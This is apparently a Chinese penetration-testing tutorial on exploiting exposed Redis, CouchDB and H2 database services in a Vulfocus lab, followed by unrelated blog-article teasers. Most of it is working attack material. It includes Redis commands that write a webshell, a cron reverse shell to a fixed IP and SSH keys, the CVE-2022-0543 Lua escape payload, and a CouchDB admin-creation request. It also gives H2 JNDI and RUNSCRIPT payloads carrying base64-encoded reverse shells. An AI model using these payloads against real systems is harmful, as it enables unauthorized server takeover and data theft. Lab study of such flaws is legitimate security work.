Day78:服务攻防-数据库安全RedisCouchDBH2database未授权访问CVE漏洞

目录

前置知识

数据库应用-Redis-未授权访问&CVE漏洞

未授权访问:CNVD-2015-07557

未授权访问-CNVD-2019-21763

未授权访问-沙箱绕过RCE-CVE-2022-0543

数据库应用-Couchdb-未授权越权&CVE漏洞

Couchdb 垂直权限绕过(CVE-2017-12635)

Couchdb 命令执行 (CVE-2017-12636)

数据库应用-H2database–未授权访问&CVE漏洞

H2database jndi注入

H2database RCE(CVE-2022-23221)


知识点:

1、数据库-Redis-未授权RCE&CVE

2、数据库-Couchdb-未授权RCE&CVE

3、数据库-H2database-未授权RCE&CVE

前置知识

1、复现环境:Vulfocus(官方在线的无法使用,需要自己本地搭建)

官方手册:https://fofapro.github.io/vulfocus/#/

本地搭建参考文章:https://blog.csdn.net/m0_60571842/article/details/135677318

2、服务判断:
端口扫描:利用服务开启后目标端口开放判断
组合判断:利用搭建常见组合分析可能开放服务
信息来源:访问端口提示软件版本,应用信息等
强弱特征:如框架shiro强特征rememberMe,SpringBoot默认页面等

3、对象类别:
对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的CVE进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

4、利用方法:
主要集中在CVE漏洞,未授权访问,弱口令爆破等

数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

Redis数据库可视化管理工具:https://github.com/qishibo/AnotherRedisDesktopManager/

未授权访问:CNVD-2015-07557

写Webshell需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp            #设置WEB写入目录
config set dbfilename 1.php    #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
save                           #保存执行

注意:部分web目录可能会没读写权限

本地虚拟机环境测试

写定时任务反弹shell(需要等待1-2分钟才会反弹)

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

攻击机:nc -lvvp 5555

注意:

centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败

写入Linux ssh-key公钥
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态并允许使用密钥登录

  1. 本地生成公钥和私钥
  2. 将公钥写入到目标的.ssh文件夹
  3. 本地私钥ssh 连接

攻击机:ssh-keygen -t rsa  //执行生成key命令

cd /root/.ssh/ //进入到这个目录下执行ls

id_rsa  #私钥
id_rsa.pub  #公钥

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  //将生成的公钥保存到key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx  //将保存的key.txt文件内容写入redis

redis连接工具

config set dir /root/.ssh/
config set dbfilename authorized_keys
save

自己的攻击机使用ssh去连接

cd /root/.ssh/
ssh -i id_rsa root@目标IP

也可以直接

ssh 目标地址

自动化项目:https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

输入r就是反弹shell,输入i就是直接返回一个shell给你执行命令

未授权访问-CNVD-2019-21763

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

未授权访问-沙箱绕过RCE-CVE-2022-0543

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

数据库应用-Couchdb-未授权越权&CVE漏洞

默认端口:5984

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和
CVE-2017-12636披露利用。

Couchdb 垂直权限绕过(CVE-2017-12635)

1、先创建用户

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 47.94.236.117:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
  "type": "user",
  "name": "xiaodi",
  "roles": ["_admin"],
  "roles": [],
  "password": "xiaodi"
}

2、登录用户验证

Get:/_utils/
xiaodi xiaodi

Couchdb 命令执行 (CVE-2017-12636)

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可

数据库应用-H2database–未授权访问&CVE漏洞

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

H2database jndi注入

利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

工具地址:JNDI-Injection-Exploit

payload:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP

//反弹shell命令就行base64编码
/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

编码后:

bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

攻击端监听就行:

nc -lvvp 6666

将生成出来的所提供的服务,输入到界面当中,进行连接
指定驱动类:

javax.naming.InitialContext

服务端可以观察到日志:

成功反弹shell

H2database RCE(CVE-2022-23221)

未授权进入

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

RCE执行反弹

攻击机上完成,创建数据库文件:h2database.sql

CREATE TABLE test (
     id INT NOT NULL
 );
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

启动提供SQL文件远程加载服务

python3 -m http.server 端口

目标填入Payload使其加载远程SQL

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://
搭建的IP:端口/h2database.sql';\

攻击机上监听

nc -lvvp xxxx

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/509332.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

怎么倒放视频教程?3个简单易行方法分享

怎么倒放视频教程&#xff1f;视频倒放是一种创意性的视频编辑方式&#xff0c;通过倒序播放视频内容&#xff0c;可以为观众带来全新的视觉体验。无论是为了制作搞笑视频&#xff0c;还是为了创作具有艺术感的短片&#xff0c;倒放视频都是一个非常实用的技巧。同时&#xff0…

数学矩阵(详解)

矩阵乘法 知阵乘法是《线性代数》中的基础内容&#xff0c;但在考察数学的算法题中也会出现。 本节我们学习基础的矩阵乘法规则。 每个矩阵会有一个行数和一个列数&#xff0c;只有当相乘的两个矩阵的左矩阵的列数等于右矩阵的行数 时&#xff0c;才能相乘&#xff0c;否则不允…

【计算机毕业设计】黄河交通学院教学质量评价系统的设计与实现(付系统源码)

&#x1f389;**欢迎来到我的技术世界&#xff01;**&#x1f389; &#x1f4d8; 博主小档案&#xff1a; 一名来自世界500强的资深程序媛&#xff0c;毕业于国内知名985高校。 &#x1f527; 技术专长&#xff1a; 在深度学习任务中展现出卓越的能力&#xff0c;包括但不限于…

跑步用什么运动耳机?推荐几款跑步时超好用的运动耳机

跑步健身成为了很多都市白领喜欢的运动方式之一&#xff0c;而为专业运动健身领域设计的运动耳机&#xff0c;近年来也受到了越来越多运动爱好者和数码爱好者的关注。相比于传统蓝牙耳机&#xff0c;运动耳机在运动过程中带给用户更舒适和安全的使用体验&#xff0c;因此也受到…

什么是AIGC,AIGC的应用领域有哪些,以及对AIGC的未来展望有什么值得关注的方向

AIGC:人工智能生成内容的深度解析 在数字技术的浪潮中,AIGC(ArtificialIntelligenceGeneratedContent,人工智能生成内容)逐渐崭露头角,成为继专业生产内容(PGC)和用户生产内容(UGC)之后的新型内容创作方式。它不仅改变了内容生产的传统模式,更在多个行业中展现出…

钉钉服务端API报错 43008 参数需要multipart类型

钉钉服务端API报错 43008 参数需要multipart类型 problem 使用媒体文件上传接口&#xff0c;按照文档输入参数&#xff0c;结果返回报错 # 参数 {"access_token": "xxx""type": "image","media": "/Users/xxx/xxx/s…

mongodb sharding分片模式的集群数据库,日志治理缺失导致写入数据库报错MongoWriteConcernException的问题总结(下)

一、接着上文 上文介绍了mongodb sharding的分片集群搭建&#xff0c;本文侧重于讲述日志治理。 这里使用linux自带的日志治理工具logrotate&#xff0c;无论是哪个端口的进程&#xff0c;其日志治理方式类似。 查看/data目录下的文件大小&#xff0c; du -hs *二、Logrota…

Django创建多app应用

目录 1. 引言 2. 多app创建的两种方式 2.1 多个app结构 2.2 单个apps多个app 3. 最后 1. 引言 在平常业务开发中&#xff0c;我们遇到的功能可能会有很多&#xff0c;单个app的应用可能无法满足我们 这个时候&#xff0c;我们就需要多app应用&#xff0c;例如&#xff1a…

知识图谱概论

文章目录 语言与知识相关知识图谱知识图谱价值知识图谱技术内涵 语言与知识 人的大脑依赖所学的知识进行思考、推理、理解语言… 人类通过认识世界积累知识&#xff0c;并通过语言来描述、记录和传承关于世界的知识。同时&#xff0c;准确理解语言也极大依赖大脑中所习得的各种…

【御控物联】JavaScript JSON结构转换(13):对象To数组——多层属性重组

文章目录 一、JSON结构转换是什么&#xff1f;二、案例之《JSON对象 To JSON数组》三、代码实现四、在线转换工具五、技术资料 一、JSON结构转换是什么&#xff1f; JSON结构转换指的是将一个JSON对象或JSON数组按照一定规则进行重组、筛选、映射或转换&#xff0c;生成新的JS…

电梯四种事故检测YOLOV8

电梯四种事故检测&#xff0c;采用YOLOV8训练得到PT模型&#xff0c;然后转换成ONNX&#xff0c;OPENCV调用&#xff0c;支持C/PYTHON/ANDORID开发 电梯四种事故检测YOLOV8

matlab——基于三维激光扫描点云的树冠体积计算方法

目录 一、算法原理1、原理概述2、参考文献二、代码实现三、结果展示本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫与GPT。 一、算法原理 1、原理概述 针对树冠形状不规则,树冠体积难以测量和计算的问题,提出一种基于三…

Android Studio调试中的坑

1、新建Android工程后编译发现报错 2、发现无33和34的SDK更新 3、查看google相关文档 Android Gradle 插件 8.3 版本说明 | Android Studio | Android Developers 如果需要支持相关更高SDK需要的Android Studio版本和Android Gradle 插件是有版本要求的&#xff0c;相关要…

C++提高编程之STL初始

1.STL的诞生 长久以来&#xff0c;软件界一直希望建立重复性的东西C的面向对象和泛型编程思想&#xff0c;目的就是复用性的提升大多情况下&#xff0c;数据结构和算法都未能有一套标准,导致被迫从事大量重复工作为了建立数据结构和算法的一套标准,诞生了STL 2&#xff0c;ST…

ubuntu18.04 pycharm

一、下载pycharm &#xff08;1&#xff09;进入官网下载Download PyCharm: The Python IDE for data science and web development by JetBrains 选择专业版&#xff08;professional&#xff09;直接点击下载&#xff08;download&#xff09;&#xff0c;我下载的是2023.3…

Netty学习——源码篇10 Netty内存分配ByteBuf基础

1 初始ByteBuf ByteBuf是Netty整个结构中最为底层的模块&#xff0c;主要负责把数据从底层I/O读取到ByteBuf&#xff0c;然后传递给应用程序&#xff0c;应用程序处理完成后再把数据封装成ByteBuf写回I/O。所以&#xff0c;ByteBuf是直接与底层打交道的一层抽象。 2 ByteBuf的…

计算机网络-HTTP相关知识-HTTPS基础

HTTP与HTTPS的区别&#xff1a; HTTPS在TCP和HTTP网络层之间加入了SSL/TLS安全协议层。这个安全协议层可以对数据进行加密&#xff0c;确保数据在传输过程中的安全。HTTPS在TCP三次握手之后&#xff0c;还需进行SSL/TLS的握手过程。这个握手过程主要是为了在客户端和服务器之间…

react16路由缓存react-activation详解

react PC端项目构建TS&#xff0c;react18.2.0antdviteaxiosreduxsassts 完整版代码下载&#xff1a; https://download.csdn.net/download/randy521520/88922625 react PC端项目构建&#xff0c;react18.2.0antdviteaxiosreduxsass完整版代码下载&#xff1a; https://downloa…

Bun 1.1 发布,全面支持 Windows 系统

4 月 2 日&#xff0c;Jarred Sumner 宣布 Bun 1.1 正式推出。Bun 是一个快速、一体化的工具包&#xff0c;用于运行、构建、测试和调试 JavaScript 和 TypeScript&#xff0c;从单个脚本到全栈应用程序。如果您是 Bun 的新手&#xff0c;可以在 Bun 1.0 博客文章中了解更多信息…

Elasticsearch 免费许可证到期问题解决

问题 es日志报错信息&#xff1a;current license is non-compliant for [security] [2024-04-01T03:20:52.96800:00][ERROR][savedobjects-service] [.kibana_alerting_cases] Action failed with security_exceptionRoot causes:security_exception: current license is no…